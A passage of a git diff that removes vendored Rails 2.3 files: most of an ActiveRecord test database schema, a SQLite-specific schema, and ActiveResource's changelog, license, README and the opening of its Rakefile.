-
-  create_table :books, :force => true do |t|
-    t.column :name, :string
-  end
-
-  create_table :booleantests, :force => true do |t|
-    t.boolean :value
-  end
-
-  create_table "CamelCase", :force => true do |t|
-    t.string :name
-  end
-
-  create_table :categories, :force => true do |t|
-    t.string :name, :null => false
-    t.string :type
-    t.integer :categorizations_count
-  end
-
-  create_table :categories_posts, :force => true, :id => false do |t|
-    t.integer :category_id, :null => false
-    t.integer :post_id, :null => false
-  end
-
-  create_table :categorizations, :force => true do |t|
-    t.column :category_id, :integer
-    t.column :post_id, :integer
-    t.column :author_id, :integer
-  end
-
-  create_table :citations, :force => true do |t|
-    t.column :book1_id, :integer
-    t.column :book2_id, :integer
-  end
-
-  create_table :clubs, :force => true do |t|
-    t.string :name
-  end
-
-  create_table :colnametests, :force => true do |t|
-    t.integer :references, :null => false
-  end
-
-  create_table :comments, :force => true do |t|
-    t.integer :post_id, :null => false
-    t.text    :body, :null => false
-    t.string  :type
-  end
-
-  create_table :companies, :force => true do |t|
-    t.string  :type
-    t.string  :ruby_type
-    t.integer :firm_id
-    t.string  :firm_name
-    t.string  :name
-    t.integer :client_of
-    t.integer :rating, :default => 1
-  end
-
-  add_index :companies, [:firm_id, :type, :rating, :ruby_type], :name => "company_index"
-
-  create_table :computers, :force => true do |t|
-    t.integer :developer, :null => false
-    t.integer :extendedWarranty, :null => false
-  end
-
-  create_table :contracts, :force => true do |t|
-    t.integer :developer_id
-    t.integer :company_id
-  end
-
-  create_table :customers, :force => true do |t|
-    t.string  :name
-    t.integer :balance, :default => 0
-    t.string  :address_street
-    t.string  :address_city
-    t.string  :address_country
-    t.string  :gps_location
-  end
-
-  create_table :developers, :force => true do |t|
-    t.string   :name
-    t.integer  :salary, :default => 70000
-    t.datetime :created_at
-    t.datetime :updated_at
-  end
-
-  create_table :developers_projects, :force => true, :id => false do |t|
-    t.integer :developer_id, :null => false
-    t.integer :project_id, :null => false
-    t.date    :joined_on
-    t.integer :access_level, :default => 1
-  end
-
-  create_table :edges, :force => true do |t|
-    t.column :source_id, :integer, :null => false
-    t.column :sink_id,   :integer, :null => false
-  end
-  add_index :edges, [:source_id, :sink_id], :unique => true, :name => 'unique_edge_index'
-
-
-  create_table :entrants, :force => true do |t|
-    t.string  :name, :null => false
-    t.integer :course_id, :null => false
-  end
-
-  create_table :essays, :force => true do |t|
-    t.string :name
-    t.string :writer_id
-    t.string :writer_type
-  end
-
-  create_table :events, :force => true do |t|
-    t.string :title, :limit => 5
-    t.datetime :ends_on
-  end
-
-  create_table :event_authors, :force => true do |t|
-    t.integer :event_id
-    t.integer :author_id
-  end
-
-  create_table :funny_jokes, :force => true do |t|
-    t.string :name
-  end
-
-  create_table :goofy_string_id, :force => true, :id => false do |t|
-    t.string :id, :null => false
-    t.string :info
-  end
-
-  create_table :invoices, :force => true do |t|
-    t.integer :balance
-    t.datetime :updated_at
-  end
-
-  create_table :items, :force => true do |t|
-    t.column :name, :integer
-  end
-
-  create_table :inept_wizards, :force => true do |t|
-    t.column :name, :string, :null => false
-    t.column :city, :string, :null => false
-    t.column :type, :string
-  end
-
-
-  create_table :jobs, :force => true do |t|
-    t.integer :ideal_reference_id
-  end
-
-  create_table :keyboards, :force => true, :id  => false do |t|
-    t.primary_key :key_number
-    t.string      :name
-  end
-
-  create_table :legacy_things, :force => true do |t|
-    t.integer :tps_report_number
-    t.integer :version, :null => false, :default => 0
-  end
-
-  create_table :line_items, :force => true do |t|
-    t.integer :invoice_id
-    t.integer :amount
-  end
-
-  create_table :lock_without_defaults, :force => true do |t|
-    t.column :lock_version, :integer
-  end
-
-  create_table :lock_without_defaults_cust, :force => true do |t|
-    t.column :custom_lock_version, :integer
-  end
-
-  create_table :mateys, :id => false, :force => true do |t|
-    t.column :pirate_id, :integer
-    t.column :target_id, :integer
-    t.column :weight, :integer
-  end
-
-  create_table :members, :force => true do |t|
-    t.string :name
-    t.integer :member_type_id
-  end
-
-  create_table :member_details, :force => true do |t|
-    t.integer :member_id
-    t.integer :organization_id
-    t.string :extra_data
-  end
-
-  create_table :memberships, :force => true do |t|
-    t.datetime :joined_on
-    t.integer :club_id, :member_id
-    t.boolean :favourite, :default => false
-    t.string :type
-  end
-
-  create_table :member_types, :force => true do |t|
-    t.string :name
-  end
-
-  create_table :references, :force => true do |t|
-    t.integer :person_id
-    t.integer :job_id
-    t.boolean :favourite
-    t.integer :lock_version, :default => 0
-  end
-
-  create_table :minimalistics, :force => true do |t|
-  end
-
-  create_table :mixed_case_monkeys, :force => true, :id => false do |t|
-    t.primary_key :monkeyID
-    t.integer     :fleaCount
-  end
-
-  create_table :mixins, :force => true do |t|
-    t.integer  :parent_id
-    t.integer  :pos
-    t.datetime :created_at
-    t.datetime :updated_at
-    t.integer  :lft
-    t.integer  :rgt
-    t.integer  :root_id
-    t.string   :type
-  end
-
-  create_table :movies, :force => true, :id => false do |t|
-    t.primary_key :movieid
-    t.string      :name
-  end
-
-  create_table :numeric_data, :force => true do |t|
-    t.decimal :bank_balance, :precision => 10, :scale => 2
-    t.decimal :big_bank_balance, :precision => 15, :scale => 2
-    t.decimal :world_population, :precision => 10, :scale => 0
-    t.decimal :my_house_population, :precision => 2, :scale => 0
-    t.decimal :decimal_number_with_default, :precision => 3, :scale => 2, :default => 2.78
-    t.float   :temperature
-  end
-
-  create_table :orders, :force => true do |t|
-    t.string  :name
-    t.integer :billing_customer_id
-    t.integer :shipping_customer_id
-  end
-
-  create_table :organizations, :force => true do |t|
-    t.string :name
-  end
-
-  create_table :owners, :primary_key => :owner_id ,:force => true do |t|
-    t.string :name
-    t.column :updated_at, :datetime
-    t.column :happy_at,   :datetime
-  end
-
-
-  create_table :paint_colors, :force => true do |t|
-    t.integer :non_poly_one_id
-  end
-
-  create_table :paint_textures, :force => true do |t|
-    t.integer :non_poly_two_id
-  end
-
-  create_table :parrots, :force => true do |t|
-    t.column :name, :string
-    t.column :parrot_sti_class, :string
-    t.column :killer_id, :integer
-    t.column :created_at, :datetime
-    t.column :created_on, :datetime
-    t.column :updated_at, :datetime
-    t.column :updated_on, :datetime
-  end
-
-  create_table :parrots_pirates, :id => false, :force => true do |t|
-    t.column :parrot_id, :integer
-    t.column :pirate_id, :integer
-  end
-
-  create_table :parrots_treasures, :id => false, :force => true do |t|
-    t.column :parrot_id, :integer
-    t.column :treasure_id, :integer
-  end
-
-  create_table :people, :force => true do |t|
-    t.string     :first_name, :null => false
-    t.references :primary_contact
-    t.string     :gender, :limit => 1
-    t.integer    :lock_version, :null => false, :default => 0
-  end
-
-  create_table :pets, :primary_key => :pet_id ,:force => true do |t|
-    t.string :name
-    t.integer :owner_id, :integer
-  end
-
-  create_table :pirates, :force => true do |t|
-    t.column :catchphrase, :string
-    t.column :parrot_id, :integer
-    t.column :created_on, :datetime
-    t.column :updated_on, :datetime
-  end
-
-  create_table :polymorphic_designs, :force => true do |t|
-    t.integer :designable_id
-    t.string  :designable_type
-  end
-
-  create_table :polymorphic_prices, :force => true do |t|
-    t.integer :sellable_id
-    t.string  :sellable_type
-  end
-
-  create_table :posts, :force => true do |t|
-    t.integer :author_id
-    t.string  :title, :null => false
-    t.text    :body, :null => false
-    t.string  :type
-    t.integer :comments_count, :default => 0
-    t.integer :taggings_count, :default => 0
-  end
-
-  create_table :price_estimates, :force => true do |t|
-    t.string :estimate_of_type
-    t.integer :estimate_of_id
-    t.integer :price
-  end
-
-  create_table :projects, :force => true do |t|
-    t.string :name
-    t.string :type
-  end
-
-  create_table :readers, :force => true do |t|
-    t.integer :post_id, :null => false
-    t.integer :person_id, :null => false
-    t.boolean :skimmer, :default => false
-  end
-
-  create_table :shape_expressions, :force => true do |t|
-    t.string  :paint_type
-    t.integer :paint_id
-    t.string  :shape_type
-    t.integer :shape_id
-  end
-
-  create_table :ships, :force => true do |t|
-    t.string :name
-    t.integer :pirate_id
-    t.datetime :created_at
-    t.datetime :created_on
-    t.datetime :updated_at
-    t.datetime :updated_on
-  end
-
-  create_table :ship_parts, :force => true do |t|
-    t.string :name
-    t.integer :ship_id
-  end
-
-  create_table :sponsors, :force => true do |t|
-    t.integer :club_id
-    t.integer :sponsorable_id
-    t.string :sponsorable_type
-  end
-
-  create_table :subscribers, :force => true, :id => false do |t|
-    t.string :nick, :null => false
-    t.string :name
-  end
-  add_index :subscribers, :nick, :unique => true
-
-  create_table :subscriptions, :force => true do |t|
-    t.string :subscriber_id
-    t.integer :book_id
-  end
-
-  create_table :tasks, :force => true do |t|
-    t.datetime :starting
-    t.datetime :ending
-  end
-
-  create_table :ties, :force => true
-
-  create_table :topics, :force => true do |t|
-    t.string   :title
-    t.string   :author_name
-    t.string   :author_email_address
-    t.datetime :written_on
-    t.time     :bonus_time
-    t.date     :last_read
-    t.text     :content
-    t.boolean  :approved, :default => true
-    t.integer  :replies_count, :default => 0
-    t.integer  :parent_id
-    t.string   :parent_title
-    t.string   :type
-    t.string   :group
-  end
-
-  create_table :taggings, :force => true do |t|
-    t.column :tag_id, :integer
-    t.column :super_tag_id, :integer
-    t.column :taggable_type, :string
-    t.column :taggable_id, :integer
-  end
-
-  create_table :tags, :force => true do |t|
-    t.column :name, :string
-    t.column :taggings_count, :integer, :default => 0
-  end
-
-  create_table :tees, :force => true
-
-  create_table :toys, :primary_key => :toy_id ,:force => true do |t|
-    t.string :name
-    t.integer :pet_id, :integer
-  end
-
-  create_table :treasures, :force => true do |t|
-    t.column :name, :string
-    t.column :looter_id, :integer
-    t.column :looter_type, :string
-  end
-
-  create_table :vertices, :force => true do |t|
-    t.column :label, :string
-  end
-
-  create_table 'warehouse-things', :force => true do |t|
-    t.integer :value
-  end
-
-  [:circles, :squares, :triangles, :non_poly_ones, :non_poly_twos].each do |t|
-    create_table(t, :force => true) { }
-  end
-
-  create_table :guids, :force => true do |t|
-    t.column :key, :string
-  end
-
-  create_table :integer_limits, :force => true do |t|
-    t.integer :"c_int_without_limit"
-    (1..8).each do |i|
-      t.integer :"c_int_#{i}", :limit => i
-    end
-  end
-
-  # NOTE - the following 4 tables are used by models that have :inverse_of options on the associations
-  create_table :men, :force => true do |t|
-    t.string  :name
-  end
-
-  create_table :faces, :force => true do |t|
-    t.string  :description
-    t.integer :man_id
-    t.integer :polymorphic_man_id
-    t.string :polymorphic_man_type
-  end
-
-  create_table :interests, :force => true do |t|
-    t.string :topic
-    t.integer :man_id
-    t.integer :polymorphic_man_id
-    t.string :polymorphic_man_type
-    t.integer :zine_id
-  end
-
-  create_table :zines, :force => true do |t|
-    t.string :title
-  end
-
-  except 'SQLite' do
-    # fk_test_has_fk should be before fk_test_has_pk
-    create_table :fk_test_has_fk, :force => true do |t|
-      t.integer :fk_id, :null => false
-    end
-
-    create_table :fk_test_has_pk, :force => true do |t|
-    end
-
-    execute "ALTER TABLE fk_test_has_fk ADD CONSTRAINT fk_name FOREIGN KEY (#{quote_column_name 'fk_id'}) REFERENCES #{quote_table_name 'fk_test_has_pk'} (#{quote_column_name 'id'})"
-  end
-end
diff --git a/vendor/rails/activerecord/test/schema/schema2.rb b/vendor/rails/activerecord/test/schema/schema2.rb
deleted file mode 100644
index 8527f7ba..00000000
--- a/vendor/rails/activerecord/test/schema/schema2.rb
+++ /dev/null
@@ -1,6 +0,0 @@
-ActiveRecord::Schema.define do
-
-  Course.connection.create_table :courses, :force => true do |t|
-    t.column :name, :string, :null => false
-  end
-end
diff --git a/vendor/rails/activerecord/test/schema/sqlite_specific_schema.rb b/vendor/rails/activerecord/test/schema/sqlite_specific_schema.rb
deleted file mode 100644
index ea05b35f..00000000
--- a/vendor/rails/activerecord/test/schema/sqlite_specific_schema.rb
+++ /dev/null
@@ -1,25 +0,0 @@
-ActiveRecord::Schema.define do
-  # For sqlite 3.1.0+, make a table with a autoincrement column
-  if supports_autoincrement?
-    create_table :table_with_autoincrement, :force => true do |t|
-      t.column :name, :string
-    end
-  end
-
-  execute "DROP TABLE fk_test_has_fk" rescue nil
-  execute "DROP TABLE fk_test_has_pk" rescue nil
-  execute <<_SQL
-  CREATE TABLE 'fk_test_has_pk' (
-    'id' INTEGER NOT NULL PRIMARY KEY
-  );
-_SQL
-
-  execute <<_SQL
-  CREATE TABLE 'fk_test_has_fk' (
-    'id'    INTEGER NOT NULL PRIMARY KEY,
-    'fk_id' INTEGER NOT NULL,
-
-    FOREIGN KEY ('fk_id') REFERENCES 'fk_test_has_pk'('id')
-  );
-_SQL
-end
\ No newline at end of file
diff --git a/vendor/rails/activeresource/CHANGELOG b/vendor/rails/activeresource/CHANGELOG
deleted file mode 100644
index bbd33e6c..00000000
--- a/vendor/rails/activeresource/CHANGELOG
+++ /dev/null
@@ -1,306 +0,0 @@
-*2.3.11 (February 9, 2011)*
-*2.3.10 (October 15, 2010)*
-*2.3.9 (September 4, 2010)*
-*2.3.8 (May 24, 2010)*
-*2.3.7 (May 24, 2010)*
-
-* Version bump.
-
-
-*2.3.6 (May 23, 2010)*
-
-* No changes, just a version bump.
-
-
-*2.3.5 (November 25, 2009)*
-
-* Minor Bug Fixes and deprecation warnings
-
-* More flexible content type handling when parsing responses.
-  
-  Ensures that ARes will handle responses like test/xml, or content types
-  with charsets included.
-
-*2.3.4 (September 4, 2009)*
-
-* Add support for errors in JSON format.  #1956 [Fabien Jakimowicz]
-
-* Recognizes 410 as Resource Gone. #2316 [Jordan Brough, Jatinder Singh]
-
-* More thorough SSL support.  #2370 [Roy Nicholson]
-
-* HTTP proxy support.  #2133 [Marshall Huss, Sébastien Dabet]
-
-
-*2.3.3 (July 12, 2009)*
-
-* No changes, just a version bump.
-
-
-*2.3.2 [Final] (March 15, 2009)*
-
-* Nothing new, just included in 2.3.2
-
-
-*2.2.1 [RC2] (November 14th, 2008)*
-
-* Fixed that ActiveResource#post would post an empty string when it shouldn't be posting anything #525 [Paolo Angelini]
-
-
-*2.2.0 [RC1] (October 24th, 2008)*
-
-* Add ActiveResource::Base#to_xml and ActiveResource::Base#to_json. #1011 [Rasik Pandey, Cody Fauser]
-
-* Add ActiveResource::Base.find(:last). [#754 state:resolved] (Adrian Mugnolo)
-
-* Fixed problems with the logger used if the logging string included %'s [#840 state:resolved] (Jamis Buck)
-
-* Fixed Base#exists? to check status code as integer [#299 state:resolved] (Wes Oldenbeuving)
-
-
-*2.1.0 (May 31st, 2008)*
-
-* Fixed response logging to use length instead of the entire thing (seangeo) [#27]
-
-* Fixed that to_param should be used and honored instead of hardcoding the id #11406 [gspiers]
-
-* Improve documentation. [Ryan Bigg, Jan De Poorter, Cheah Chu Yeow, Xavier Shay, Jack Danger Canty, Emilio Tagua, Xavier Noria,  Sunny Ripert]
-
-* Use HEAD instead of GET in exists? [bscofield]
-
-* Fix small documentation typo.  Closes #10670 [Luca Guidi]
-
-* find_or_create_resource_for handles module nesting.  #10646 [xavier]
-
-* Allow setting ActiveResource::Base#format before #site.  [Rick Olson]
-
-* Support agnostic formats when calling custom methods.  Closes #10635 [joerichsen]
-
-* Document custom methods.  #10589 [Cheah Chu Yeow]
-
-* Ruby 1.9 compatibility.  [Jeremy Kemper]
-
-
-*2.0.2* (December 16th, 2007)
-
-* Added more specific exceptions for 400, 401, and 403 (all descending from ClientError so existing rescues will work) #10326 [trek]
-
-* Correct empty response handling.  #10445 [seangeo]
-
-
-*2.0.1* (December 7th, 2007)
-
-* Don't cache net/http object so that ActiveResource is more thread-safe.  Closes #10142 [kou]
-
-* Update XML documentation examples to include explicit type attributes. Closes #9754 [Josh Susser]
-
-* Added one-off declarations of mock behavior [David Heinemeier Hansson]. Example:
-
-    Before:
-      ActiveResource::HttpMock.respond_to do |mock|
-        mock.get "/people/1.xml", {}, "<person><name>David</name></person>"
-      end
-      
-    Now:
-      ActiveResource::HttpMock.respond_to.get "/people/1.xml", {}, "<person><name>David</name></person>"
-
-* Added ActiveResource.format= which defaults to :xml but can also be set to :json [David Heinemeier Hansson]. Example:
-
-    class Person < ActiveResource::Base
-      self.site   = "http://app/"
-      self.format = :json
-    end
-    
-    person = Person.find(1) # => GET http://app/people/1.json
-    person.name = "David"
-    person.save             # => PUT http://app/people/1.json {name: "David"}
-    
-    Person.format = :xml
-    person.name = "Mary"
-    person.save             # => PUT http://app/people/1.json <person><name>Mary</name></person>    
-
-* Fix reload error when path prefix is used.  #8727 [Ian Warshak]
-
-* Remove ActiveResource::Struct because it hasn't proven very useful. Creating a new ActiveResource::Base subclass is often less code and always clearer.  #8612 [Josh Peek]
-
-* Fix query methods on resources. [Cody Fauser]
-
-* pass the prefix_options to the instantiated record when using find without a specific id. Closes #8544 [Eloy Duran]
-
-* Recognize and raise an exception on 405 Method Not Allowed responses.  #7692 [Josh Peek]
-
-* Handle string and symbol param keys when splitting params into prefix params and query params.
-
-    Comment.find(:all, :params => { :article_id => 5, :page => 2 }) or Comment.find(:all, :params => { 'article_id' => 5, :page => 2 })
-
-* Added find-one with symbol [David Heinemeier Hansson]. Example: Person.find(:one, :from => :leader) # => GET /people/leader.xml
-
-* BACKWARDS INCOMPATIBLE: Changed the finder API to be more extensible with :params and more strict usage of scopes [David Heinemeier Hansson]. Changes:
-
-    Person.find(:all, :title => "CEO")      ...becomes: Person.find(:all, :params => { :title => "CEO" })
-    Person.find(:managers)                  ...becomes: Person.find(:all, :from => :managers)
-    Person.find("/companies/1/manager.xml") ...becomes: Person.find(:one, :from => "/companies/1/manager.xml")
-
-* Add support for setting custom headers per Active Resource model [Rick Olson]
-
-  class Project
-    headers['X-Token'] = 'foo'
-  end
-  
-  # makes the GET request with the custom X-Token header
-  Project.find(:all)
-
-* Added find-by-path options to ActiveResource::Base.find [David Heinemeier Hansson]. Examples:
-
-    employees = Person.find(:all, :from => "/companies/1/people.xml") # => GET /companies/1/people.xml
-    manager   = Person.find("/companies/1/manager.xml")               # => GET /companies/1/manager.xml
-
-
-* Added support for using classes from within a single nested module [David Heinemeier Hansson]. Example:
-
-    module Highrise
-      class Note < ActiveResource::Base
-        self.site = "http://37s.sunrise.i:3000"
-      end
-
-      class Comment < ActiveResource::Base
-        self.site = "http://37s.sunrise.i:3000"
-      end
-    end
-
-  assert_kind_of Highrise::Comment, Note.find(1).comments.first
-    
-
-* Added load_attributes_from_response as a way of loading attributes from other responses than just create [David Heinemeier Hansson]
-
-    class Highrise::Task < ActiveResource::Base
-      def complete
-        load_attributes_from_response(post(:complete))
-      end
-    end
-
-  ...will set "done_at" when complete is called.
-
-
-* Added support for calling custom methods #6979 [rwdaigle]
-
-    Person.find(:managers)    # => GET /people/managers.xml
-    Kase.find(1).post(:close) # => POST /kases/1/close.xml
-
-* Remove explicit prefix_options parameter for ActiveResource::Base#initialize. [Rick Olson]
-  ActiveResource splits the prefix_options from it automatically.
-
-* Allow ActiveResource::Base.delete with custom prefix. [Rick Olson]
-
-* Add ActiveResource::Base#dup [Rick Olson]
-
-* Fixed constant warning when fetching the same object multiple times [David Heinemeier Hansson]
-
-* Added that saves which get a body response (and not just a 201) will use that response to update themselves [David Heinemeier Hansson]
-
-* Disregard namespaces from the default element name, so Highrise::Person will just try to fetch from "/people", not "/highrise/people" [David Heinemeier Hansson]
-
-* Allow array and hash query parameters.  #7756 [Greg Spurrier]
-
-* Loading a resource preserves its prefix_options.  #7353 [Ryan Daigle]
-
-* Carry over the convenience of #create from ActiveRecord.  Closes #7340.  [Ryan Daigle]
-
-* Increase ActiveResource::Base test coverage.  Closes #7173, #7174 [Rich Collins]
-
-* Interpret 422 Unprocessable Entity as ResourceInvalid.  #7097 [dkubb]
-
-* Mega documentation patches. #7025, #7069 [rwdaigle]
-
-* Base.exists?(id, options) and Base#exists? check whether the resource is found.  #6970 [rwdaigle]
-
-* Query string support.  [untext, Jeremy Kemper]
-    # GET /forums/1/topics.xml?sort=created_at
-    Topic.find(:all, :forum_id => 1, :sort => 'created_at')
-
-* Base#==, eql?, and hash methods. == returns true if its argument is identical to self or if it's an instance of the same class, is not new?, and has the same id. eql? is an alias for ==. hash delegates to id.  [Jeremy Kemper]
-
-* Allow subclassed resources to share the site info [Rick Olson, Jeremy Kemper]
-d
-    class BeastResource < ActiveResource::Base
-      self.site = 'http://beast.caboo.se'
-    end
-
-    class Forum < BeastResource
-      # taken from BeastResource
-      # self.site = 'http://beast.caboo.se'
-    end
-
-    class Topic < BeastResource
-      self.site += '/forums/:forum_id'
-    end
-
-* Fix issues with ActiveResource collection handling.  Closes #6291. [bmilekic]
-
-* Use attr_accessor_with_default to dry up attribute initialization. References #6538. [Stuart Halloway]
-
-* Add basic logging support for logging outgoing requests. [Jamis Buck]
-
-* Add Base.delete for deleting resources without having to instantiate them first. [Jamis Buck]
-
-* Make #save behavior mimic AR::Base#save (true on success, false on failure). [Jamis Buck]
-
-* Add Basic HTTP Authentication to ActiveResource (closes #6305). [jonathan]
-
-* Extracted #id_from_response as an entry point for customizing how a created resource gets its own ID.
-  By default, it extracts from the Location response header.
-
-* Optimistic locking: raise ActiveResource::ResourceConflict on 409 Conflict response. [Jeremy Kemper]
-
-    # Example controller action
-    def update
-      @person.save!
-    rescue ActiveRecord::StaleObjectError
-      render :xml => @person.reload.to_xml, :status => '409 Conflict'
-    end
-
-* Basic validation support [Rick Olson]
-
-  Parses the xml response of ActiveRecord::Errors#to_xml with a similar interface to ActiveRecord::Errors.  
-  
-    render :xml => @person.errors.to_xml, :status => '400 Validation Error'
-
-* Deep hashes are converted into collections of resources.  [Jeremy Kemper]
-    Person.new :name => 'Bob',
-               :address => { :id => 1, :city => 'Portland' },
-               :contacts => [{ :id => 1 }, { :id => 2 }]
-  Looks for Address and Contact resources and creates them if unavailable.
-  So clients can fetch a complex resource in a single request if you e.g.
-    render :xml => @person.to_xml(:include => [:address, :contacts])
-  in your controller action.
-
-* Major updates [Rick Olson]
-
-  * Add full support for find/create/update/destroy
-  * Add support for specifying prefixes.
-  * Allow overriding of element_name, collection_name, and primary key
-  * Provide simpler HTTP mock interface for testing
-  
-    # rails routing code
-    map.resources :posts do |post|
-      post.resources :comments
-    end
-    
-    # ActiveResources
-    class Post < ActiveResource::Base
-      self.site = "http://37s.sunrise.i:3000/"
-    end
-
-    class Comment < ActiveResource::Base
-      self.site = "http://37s.sunrise.i:3000/posts/:post_id/"
-    end
-    
-    @post     = Post.find 5
-    @comments = Comment.find :all, :post_id => @post.id
-
-    @comment  = Comment.new({:body => 'hello world'}, {:post_id => @post.id})
-    @comment.save
-
-* Base.site= accepts URIs. 200...400 are valid response codes. PUT and POST request bodies default to ''. [Jeremy Kemper]
-
-* Initial checkin: object-oriented client for restful HTTP resources which follow the Rails convention. [David Heinemeier Hansson]
diff --git a/vendor/rails/activeresource/MIT-LICENSE b/vendor/rails/activeresource/MIT-LICENSE
deleted file mode 100644
index 1bf965ff..00000000
--- a/vendor/rails/activeresource/MIT-LICENSE
+++ /dev/null
@@ -1,20 +0,0 @@
-Copyright (c) 2006-2010 David Heinemeier Hansson
-
-Permission is hereby granted, free of charge, to any person obtaining
-a copy of this software and associated documentation files (the
-"Software"), to deal in the Software without restriction, including
-without limitation the rights to use, copy, modify, merge, publish,
-distribute, sublicense, and/or sell copies of the Software, and to
-permit persons to whom the Software is furnished to do so, subject to
-the following conditions:
-
-The above copyright notice and this permission notice shall be
-included in all copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
-EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
-MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
-NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
-LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
-OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
-WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
\ No newline at end of file
diff --git a/vendor/rails/activeresource/README b/vendor/rails/activeresource/README
deleted file mode 100644
index 924017a6..00000000
--- a/vendor/rails/activeresource/README
+++ /dev/null
@@ -1,165 +0,0 @@
-= Active Resource
-
-Active Resource (ARes) connects business objects and Representational State Transfer (REST)
-web services.  It implements object-relational mapping for REST webservices to provide transparent 
-proxying capabilities between a client (ActiveResource) and a RESTful service (which is provided by Simply RESTful routing
-in ActionController::Resources).
-
-== Philosophy
-
-Active Resource attempts to provide a coherent wrapper object-relational mapping for REST
-web services. It follows the same philosophy as Active Record, in that one of its prime aims
-is to reduce the amount of code needed to map to these resources.  This is made possible 
-by relying on a number of code- and protocol-based conventions that make it easy for Active Resource
-to infer complex relations and structures.  These conventions are outlined in detail in the documentation
-for ActiveResource::Base.
-
-== Overview
-
-Model classes are mapped to remote REST resources by Active Resource much the same way Active Record maps model classes to database
-tables.  When a request is made to a remote resource, a REST XML request is generated, transmitted, and the result
-received and serialized into a usable Ruby object.
-
-=== Configuration and Usage
-
-Putting ActiveResource to use is very similar to ActiveRecord.  It's as simple as creating a model class
-that inherits from ActiveResource::Base and providing a <tt>site</tt> class variable to it:
-
-   class Person < ActiveResource::Base
-     self.site = "http://api.people.com:3000/"
-   end
-
-Now the Person class is REST enabled and can invoke REST services very similarly to how ActiveRecord invokes
-lifecycle methods that operate against a persistent store.
-
-   # Find a person with id = 1
-   ryan = Person.find(1)
-   Person.exists?(1)  #=> true
-
-As you can see, the methods are quite similar to Active Record's methods for dealing with database
-records.  But rather than dealing directly with a database record, you're dealing with HTTP resources (which may or may not be database records).
-
-==== Protocol
-
-Active Resource is built on a standard XML format for requesting and submitting resources over HTTP.  It mirrors the RESTful routing 
-built into ActionController but will also work with any other REST service that properly implements the protocol. 
-REST uses HTTP, but unlike "typical" web applications, it makes use of all the verbs available in the HTTP specification:
-
-* GET requests are used for finding and retrieving resources.
-* POST requests are used to create new resources.
-* PUT requests are used to update existing resources.
-* DELETE requests are used to delete resources. 
-
-For more information on how this protocol works with Active Resource, see the ActiveResource::Base documentation;
-for more general information on REST web services, see the article here[http://en.wikipedia.org/wiki/Representational_State_Transfer].
-
-==== Find
-
-GET Http requests expect the XML form of whatever resource/resources is/are being requested.  So,
-for a request for a single element - the XML of that item is expected in response:
-
-   # Expects a response of
-   #
-   # <person><id type="integer">1</id><attribute1>value1</attribute1><attribute2>..</attribute2></person>
-   #
-   # for GET http://api.people.com:3000/people/1.xml
-   #
-   ryan = Person.find(1)
-
-The XML document that is received is used to build a new object of type Person, with each
-XML element becoming an attribute on the object.
-
-   ryan.is_a? Person  #=> true
-   ryan.attribute1  #=> 'value1'
-
-Any complex element (one that contains other elements) becomes its own object:
-
-   # With this response:
-   #
-   # <person><id>1</id><attribute1>value1</attribute1><complex><attribute2>value2</attribute2></complex></person>
-   #
-   # for GET http://api.people.com:3000/people/1.xml
-   #
-   ryan = Person.find(1)
-   ryan.complex  #=> <Person::Complex::xxxxx>
-   ryan.complex.attribute2  #=> 'value2'
-
-Collections can also be requested in a similar fashion
-
-   # Expects a response of
-   #
-   # <people type="array">
-   #  <person><id type="integer">1</id><first>Ryan</first></person>
-   #  <person><id type="integer">2</id><first>Jim</first></person>
-   # </people>
-   #
-   # for GET http://api.people.com:3000/people.xml
-   #
-   people = Person.find(:all)
-   people.first  #=> <Person::xxx 'first' => 'Ryan' ...>
-   people.last  #=> <Person::xxx 'first' => 'Jim' ...>
-
-==== Create
-
-Creating a new resource submits the xml form of the resource as the body of the request and expects
-a 'Location' header in the response with the RESTful URL location of the newly created resource.  The
-id of the newly created resource is parsed out of the Location response header and automatically set
-as the id of the ARes object.
-
-  # <person><first>Ryan</first></person>
-  #
-  # is submitted as the body on
-  #
-  # POST http://api.people.com:3000/people.xml
-  # 
-  # when save is called on a new Person object.  An empty response is
-  # is expected with a 'Location' header value:
-  #
-  # Response (201): Location: http://api.people.com:3000/people/2
-  #
-  ryan = Person.new(:first => 'Ryan')
-  ryan.new?  #=> true
-  ryan.save  #=> true
-  ryan.new?  #=> false
-  ryan.id    #=> 2
-
-==== Update
-
-'save' is also used to update an existing resource - and follows the same protocol as creating a resource
-with the exception that no response headers are needed - just an empty response when the update on the
-server side was successful.
-
-  # <person><first>Ryan</first></person>
-  #
-  # is submitted as the body on
-  #
-  # PUT http://api.people.com:3000/people/1.xml
-  #
-  # when save is called on an existing Person object.  An empty response is
-  # is expected with code (204)
-  #
-  ryan = Person.find(1)
-  ryan.first #=> 'Ryan'
-  ryan.first = 'Rizzle'
-  ryan.save  #=> true
-
-==== Delete
-
-Destruction of a resource can be invoked as a class and instance method of the resource.
-
-  # A request is made to
-  #
-  # DELETE http://api.people.com:3000/people/1.xml
-  #
-  # for both of these forms.  An empty response with
-  # is expected with response code (200)
-  #
-  ryan = Person.find(1)
-  ryan.destroy  #=> true
-  ryan.exists?  #=> false
-  Person.delete(2)  #=> true
-  Person.exists?(2) #=> false
-
-
-You can find more usage information in the ActiveResource::Base documentation.
-
diff --git a/vendor/rails/activeresource/Rakefile b/vendor/rails/activeresource/Rakefile
deleted file mode 100644
index f153513d..00000000
--- a/vendor/rails/activeresource/Rakefile
+++ /dev/null
@@ -1,137 +0,0 @@
-require 'rubygems'
-require 'rake'
-require 'rake/testtask'
-require 'rdoc/task'
-require 'rake/packagetask'
-require 'rubygems/package_task'
-
-require File.join(File.dirname(__FILE__), 'lib', 'active_resource', 'version')
-
-PKG_BUILD     = ENV['PKG_BUILD'] ? '.' + ENV['PKG_BUILD'] : ''
-PKG_NAME      = 'activeresource'
-PKG_VERSION   = ActiveResource::VERSION::STRING + PKG_BUILD
-PKG_FILE_NAME = "#{PKG_NAME}-#{PKG_VERSION}"
-
-RELEASE_NAME  = "REL #{PKG_VERSION}"
-
-RUBY_FORGE_PROJECT = "activerecord"
-RUBY_FORGE_USER    = "webster132"
-
